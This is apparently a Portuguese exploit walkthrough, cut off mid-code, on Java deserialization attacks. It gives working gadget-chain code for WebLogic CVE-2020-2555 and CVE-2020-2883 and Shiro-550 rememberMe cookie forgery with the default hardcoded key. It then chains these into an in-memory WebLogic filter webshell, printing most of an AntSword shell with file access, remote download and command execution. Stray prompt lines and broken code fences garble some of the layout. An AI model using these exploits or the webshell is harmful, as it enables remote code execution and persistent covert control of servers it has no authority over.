import java.net.URLClassLoader;

public class URLClassLoaderDemo {
    public static void main(String[] args) throws Exception {
//        URL url = new URL("https://baidu.com/cmd.jar");   // 也可以加载远程jar
        URL url = new URL("file:///d:/calc.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        
        // 通过URLClassLoader加载jar包
        Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
        aClass.newInstance();
    }
}

O comando para criar um pacote jar é jar cvf calc.jar Calc.class, e o código malicioso é escrito diretamente no bloco estático. Quando uma nova instância da classe é criada usando newInstance(), ela será executada automaticamente.

image-20200822163304144

Calculadora exibida com sucesso

image-20200822163450161

BytecodeLoader```java

package org.chabug.loader;

import org.python.util.PythonInterpreter;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;

public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }

root@kitploit:~
public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
![image-20200822172647180](https://assets.kitploit.com/production/public/readmes/21799/439eb1ef261bd6925a2ef715e140999f7697173d16d8eed992d8d6bc0fbb8479.png)

### ClassLoader personalizado

![image-20200822173106095](https://assets.kitploit.com/production/public/readmes/21799/fcef275c5db106938c04ea83ea7f513bd8bbefdcca3d2683445fa0cdd3c3964c.png)```java
package org.chabug.loader;

import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;

public class MyLoader extends ClassLoader {
    public static String className = "org.chabug.demo.Calc";
    public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");

    public static void main(String[] args) throws Exception {
        new MyLoader().loadClass(className).newInstance();
    }

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(className)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(className, bytes, 0, bytes.length);
        }

        return super.findClass(name);
    }
}

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

Estas duas vulnerabilidades são muito semelhantes à cadeia CC, apenas a construção do gadget é diferente. Vamos primeiro olhar para o CVE-2020-2555, que foi o primeiro divulgado.

CVE-2020-2555

O problema está em com.tangosol.util.extractor.ReflectionExtractor#extract```java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();

root@kitploit:~
    try {
        Method method = this.m_methodPrev;
        if (method == null || method.getDeclaringClass() != clz) {
            this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
        }
        return method.invoke(oTarget, this.m_aoParam);
    } catch (NullPointerException var4) {
        throw new RuntimeException(this.suggestExtractFailureCause(clz));
    } catch (Exception var5) {
        throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
    }
}

}

root@kitploit:~
É idêntico ao transform() da cadeia CC, portanto também é necessário encontrar uma classe similar a ChainedTransformer.```java
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}

this.getExtractors() origina-se de sua classe pai AbstractCompositeExtractor```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }

root@kitploit:~
E no com.tangosol.util.filter.LimitFilter#toString será acionado extract()```java
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}

Preste atenção a estes```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)

root@kitploit:~
Ver os campos desta classe```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;

m_comparator é do tipo Comparator, e ChainedTransformer implementa essa interface.

image-20200824101352678

Portanto, m_comparator pode conter um objeto chainedExtractor, e então m_oAnchorTop recebe Runtime.class.

Resumo: usar BadAttributeValueExpException para acionar toString() de LimitFilter, e então ChainedExtractor chama em cadeia extract() para executar Runtime.```java package org.chabug.cve;

import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;

public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}

root@kitploit:~
    );

    // get invoke() to execute exec()
    ReflectionExtractor extractor2 = new ReflectionExtractor(
            "invoke",
            new Object[]{null, new Object[0]}

    );

    // invoke("exec","calc")
    ReflectionExtractor extractor3 = new ReflectionExtractor(
            "exec",
            new Object[]{new String[]{"cmd", "/c", "calc"}}
    );

    ReflectionExtractor[] extractors = {
            extractor1,
            extractor2,
            extractor3,
    };

    ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
    LimitFilter limitFilter = new LimitFilter();

    //m_comparator
    Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
    m_comparator.setAccessible(true);
    m_comparator.set(limitFilter, chainedExtractor);

    //m_oAnchorTop
    Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
    m_oAnchorTop.setAccessible(true);
    m_oAnchorTop.set(limitFilter, Runtime.class);

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, limitFilter);

    // serialize

    byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
    Serializables.deserializeFromBytes(buf);

}

}

root@kitploit:~
### CVE-2020-2883

2883 é essencialmente a cadeia que derivamos anteriormente das duas cadeias CC.```java
package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serializeToBytes(queue);
    }
}

toda a cadeia de exploração```java /*

  • readObject:797, PriorityQueue (java.util)
  • heapify:737, PriorityQueue (java.util)
  • siftDown:688, PriorityQueue (java.util)
  • siftDownUsingComparator:722, PriorityQueue (java.util)
  • compare:71, ExtractorComparator (com.tangosol.util.comparator)
  • extract:81, ChainedExtractor (com.tangosol.util.extractor)
  • extract:109, ReflectionExtractor (com.tangosol.util.extractor)
  • invoke:498, Method (java.lang.reflect) */
root@kitploit:~
A primeira metade dos dois CVEs é a mesma, ambos constroem uma cadeia para Runtime através de ChainedExtractor. No 2555, usa-se BadAttributeValueExpException; no 2883, usa-se PriorityQueue.

## Shiro-550 rememberMe codificação fixa leva a desserialização RCE

Primeiro, é necessário saber que o Shiro é um framework usado para autenticação, cujo princípio é baseado em filtros servlet. A biblioteca Shiro define o ShiroFilter no web.xml, que abrange todas as URLs no diretório atual.

![image-20200824110636439](https://assets.kitploit.com/production/public/readmes/21799/8ad70a3abecab5f29d30a73685b199f6c8fa6462d442af93d796a2988d40b698.png)

O tratamento do cookie está na classe `CookieRememberMeManager`, que herda de `AbstractRememberMeManager`. Em `AbstractRememberMeManager`, a chave de criptografia `DEFAULT_CIPHER_KEY_BYTES` está codificada de forma fixa.

![image-20200824110840912](https://assets.kitploit.com/production/public/readmes/21799/a567c7fcb5a9f0c39e547b1a9971a289a2ea3324cde7609a02b05f466255f6fe.png)

É usada criptografia simétrica AES CBC, e então o `org.apache.shiro.io.DefaultSerializer` realiza a serialização e desserialização.

![image-20200824111728416](https://assets.kitploit.com/production/public/readmes/21799/c5041ab11adbdd389ae3cb6c1a47a8a892725dd0aa7db7bab59c569b7e20e38a.png)

Dominando seu algoritmo de criptografia e a chave codificada fixa, é possível construir objetos maliciosos para realizar RCE por desserialização. O algoritmo de criptografia é o seguinte:```java
package org.chabug.util;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}

Gerar cookie rememberMe com CC5```java package org.chabug.shiro;

import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;

public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }

root@kitploit:~
bp发包

![image-20200824113600901](https://assets.kitploit.com/production/public/readmes/21799/871a02527794f8a457b1eca464a2c4c439faa6b6476c560d9d02102ed23efaf0.png)

Calculadora aparece no alvo

![image-20200824113637777](https://assets.kitploit.com/production/public/readmes/21799/8c1703587a40fd3b49f761a765c457563dd083bd1865837a83d69f2ca2c31a51.png)

## WebLogic + Shiro 反序列化一键注册filter内存shell

Agora vamos ao assunto principal, primeiro uma visão geral da ideia:

O Shiro alvo não possui nenhum gadget utilizável, mas foi detectado que sua chave é a padrão `kPH+bIxk5D2deZiIxcaaaA==`. Através da página de erro 404, descobriu-se que é WebLogic. Usando o gadget CVE-2020-2883 para obter RCE com sucesso, mas não há saída de rede, impossibilitando reverse shell. Além disso, como é SpringMVC, escrever arquivos JSP também não é acessível. A única opção é criar um shell de memória do tipo Filter.



Organizando:

1. A entrada da desserialização é Shiro
2. O gadget é 2883
3. 2883 utiliza URLClassLoader para definir bytecodes
4. No bytecode, escreve-se o código para registrar o shell de memória
5. O shell filter é registrado na memória do weblogic



Primeiro, resolver o problema de usar o gadget Shiro+2883. Basicamente, pegar o objeto queue gerado pelo 2883 anterior e criptografá-lo com AES base64 no Shiro.```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);

Para definir o bytecode, primeiro é necessário escrever a classe do bytecode, ou seja, o código para injetar um shell na memória.```java package org.chabug.memshell;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;

public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());

root@kitploit:~
        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "shell") == null) {
            byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

            String evilName = "gameName" + System.currentTimeMillis();
            String filterName = "gameFilter" + System.currentTimeMillis();
            String[] url = new String[]{"/*"};

            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, filterName, evilFilterClass);
            Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
Depois de compilar e empacotar em um jar, escreva através do comando base64 -d para que posteriormente possamos carregar este pacote jar usando URLClassLoader. Como o código está em um bloco static, ele será executado automaticamente ao ser carregado.

Em seguida, escreva o código para usar URLClassLoader através de 2883 para carregar nosso pacote jar anterior.```java
package org.chabug.memshell;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"org.chabug.memshell.InjectFilterShell"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serializeToBytes(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

Pelo URLClassLoader carregar a classe org.chabug.memshell.InjectFilterShell, o static será executado automaticamente. No static, será lido o bytecode de C:/Users/Administrator/Desktop/AntSwordFilterShell.class, e então a classe AntSwordFilterShell será injetada por meio da definição do bytecode. AntSwordFilterShell é o nosso Filter shell. O código é o seguinte:```java package org.chabug.memshell;

import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;

public class AntSwordFilterShell implements Filter{

root@kitploit:~
String Pwd = "th1sIsMySecretPassW0rd!";   //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码

String EC(String s) throws Exception {
    if (encoder.equals("hex") || encoder == "hex") return s;
    return new String(s.getBytes("ISO-8859-1"), cs);
}

String showDatabases(String encode, String conn) throws Exception {
    String sql = "show databases"; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showTables(String encode, String conn, String dbname) throws Exception {
    String sql = "show tables from " + dbname; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showColumns(String encode, String conn, String dbname, String table) throws Exception {
    String columnsep = "\t";
    String rowsep = "";
    String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String query(String encode, String conn, String sql) throws Exception {
    String columnsep = "\t|\t"; // general
    String rowsep = "\r\n";
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
        throws Exception {
    String ret = "";
    conn = (EC(conn));
    String[] x = conn.trim().replace("\r\n", "\n").split("\n");
    Class.forName(x[0].trim());
    String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
    Connection c = DriverManager.getConnection(url);
    Statement stmt = c.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    ResultSetMetaData rsmd = rs.getMetaData();

    if (needcoluname) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnName = rsmd.getColumnName(i);
            ret += columnName + columnsep;
        }
        ret += rowsep;
    }

    while (rs.next()) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnValue = rs.getString(i);
            ret += columnValue + columnsep;
        }
        ret += rowsep;
    }
    return ret;
}

String WwwRootPathCode(ServletRequest r) throws Exception {
    //  String d = r.getSession().getServletContext().getRealPath("/");
    String d = this.getClass().getClassLoader().getResource("/").getPath();
    String s = "";
    if (!d.substring(0, 1).equals("/")) {
        File[] roots = File.listRoots();
        for (int i = 0; i < roots.length; i++) {
            s += roots[i].toString().substring(0, 2) + "";
        }
    } else {
        s += "/";
    }
    return s;
}

String FileTreeCode(String dirPath) throws Exception {
    File oF = new File(dirPath), l[] = oF.listFiles();
    String s = "", sT, sQ, sF = "";
    java.util.Date dt;
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    for (int i = 0; i < l.length; i++) {
        dt = new java.util.Date(l[i].lastModified());
        sT = fm.format(dt);
        sQ = l[i].canRead() ? "R" : "";
        sQ += l[i].canWrite() ? " W" : "";
        if (l[i].isDirectory()) {
            s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        } else {
            sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        }
    }
    return s += sF;
}

String ReadFileCode(String filePath) throws Exception {
    String l = "", s = "";
    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
    while ((l = br.readLine()) != null) {
        s += l + "\r\n";
    }
    br.close();
    return s;
}

String WriteFileCode(String filePath, String fileContext) throws Exception {
    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
    bw.write(fileContext);
    bw.close();
    return "1";
}

String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
    File f = new File(fileOrDirPath);
    if (f.isDirectory()) {
        File x[] = f.listFiles();
        for (int k = 0; k < x.length; k++) {
            if (!x[k].delete()) {
                DeleteFileOrDirCode(x[k].getPath());
            }
        }
    }
    f.delete();
    return "1";
}

void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
    int n;
    byte[] b = new byte[512];
    r.reset();
    ServletOutputStream os = r.getOutputStream();
    BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
    os.write(("->|").getBytes(), 0, 3);
    while ((n = is.read(b, 0, 512)) != -1) {
        os.write(b, 0, n);
    }
    os.write(("|<-").getBytes(), 0, 3);
    os.close();
    is.close();
}

String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
    String h = "0123456789ABCDEF";
    File f = new File(savefilePath);
    f.createNewFile();
    FileOutputStream os = new FileOutputStream(f);
    for (int i = 0; i < fileHexContext.length(); i += 2) {
        os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
    }
    os.close();
    return "1";
}

String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
    File sf = new File(sourceFilePath), df = new File(targetFilePath);
    if (sf.isDirectory()) {
        if (!df.exists()) {
            df.mkdir();
        }
        File z[] = sf.listFiles();
        for (int j = 0; j < z.length; j++) {
            CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
        }
    } else {
        FileInputStream is = new FileInputStream(sf);
        FileOutputStream os = new FileOutputStream(df);
        int n;
        byte[] b = new byte[1024];
        while ((n = is.read(b, 0, 1024)) != -1) {
            os.write(b, 0, n);
        }
        is.close();
        os.close();
    }
    return "1";
}

String RenameFileOrDirCode(String oldName, String newName) throws Exception {
    File sf = new File(oldName), df = new File(newName);
    sf.renameTo(df);
    return "1";
}

String CreateDirCode(String dirPath) throws Exception {
    File f = new File(dirPath);
    f.mkdir();
    return "1";
}

String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
    File f = new File(fileOrDirPath);
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt = fm.parse(aTime);
    f.setLastModified(dt.getTime());
    return "1";
}

String WgetCode(String urlPath, String saveFilePath) throws Exception {
    URL u = new URL(urlPath);
    int n = 0;
    FileOutputStream os = new FileOutputStream(saveFilePath);
    HttpURLConnection h = (HttpURLConnection) u.openConnection();
    InputStream is = h.getInputStream();
    byte[] b = new byte[512];
    while ((n = is.read(b)) != -1) {
        os.write(b, 0, n);
    }
    os.close();
    is.close();
    h.disconnect();
    return "1";
}

String SysInfoCode(ServletRequest r) throws Exception {

// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }

root@kitploit:~
boolean isWin() {
    String osname = System.getProperty("os.name");
    osname = osname.toLowerCase();
    if (osname.startsWith("win"))
        return true;
    return false;
}

String ExecuteCommandCode(String cmdPath, String command) throws Exception {
    StringBuffer sb = new StringBuffer("");
    String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
    Process p = Runtime.getRuntime().exec(c);
    CopyInputStream(p.getInputStream(), sb);
    CopyInputStream(p.getErrorStream(), sb);
    return sb.toString();
}

String decode(String str) {
    byte[] bt = null;
    try {
        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
        bt = decoder.decodeBuffer(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return new String(bt);
}

String decode(String str, String encode) {
    if (encode.equals("hex") || encode == "hex") {
        if (str == "null" || str.equals("null")) {
            return "";
        }
        StringBuilder sb = new StringBuilder();
        StringBuilder temp = new StringBuilder();
        try {
            for (int i = 0; i < str.length() - 1; i += 2) {
                String output = str.substring(i, (i + 2));
                int decimal = Integer.parseInt(output, 16);
                sb.append((char) decimal);
                temp.append(decimal);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return sb.toString();
    } else if (encode.equals("base64") || encode == "base64") {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }
    return str;
}

void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
    String l;
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while ((l = br.readLine()) != null) {
        sb.append(l + "\r\n");
    }
    br.close();
}

public void init(FilterConfig f) throws ServletException {
}


public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    if (request.getParameter("size") != null) {
        response.setContentType("text/html");
        response.setCharacterEncoding(cs);
        StringBuffer sb = new StringBuffer("");
        try {
            String funccode = EC(request.getParameter(Pwd) + "");
            String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
            String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
            String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
            String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
            String[] pars = {z0, z1, z2, z3};
            sb.append("->|");

            if (funccode.equals("B")) {
                sb.append(FileTreeCode(pars[1]));
            } else if (funccode.equals("C")) {
                sb.append(ReadFileCode(pars[1]));
            } else if (funccode.equals("D")) {
                sb.append(WriteFileCode(pars[1], pars[2]));
            } else if (funccode.equals("E")) {
                sb.append(DeleteFileOrDirCode(pars[1]));
            } else if (funccode.equals("F")) {
                DownloadFileCode(pars[1], response);
            } else if (funccode.equals("U")) {
                sb.append(UploadFileCode(pars[1], pars[2]));
            } else if (funccode.equals("H")) {
                sb.append(CopyFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("I")) {
                sb.append(RenameFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("J")) {
                sb.append(CreateDirCode(pars[1]));
            } else if (funccode.equals("K")) {
                sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
            } else if (funccode.equals("L")) {
                sb.append(WgetCode(pars[1], pars[2]));
            } else if (funccode.equals("M")) {
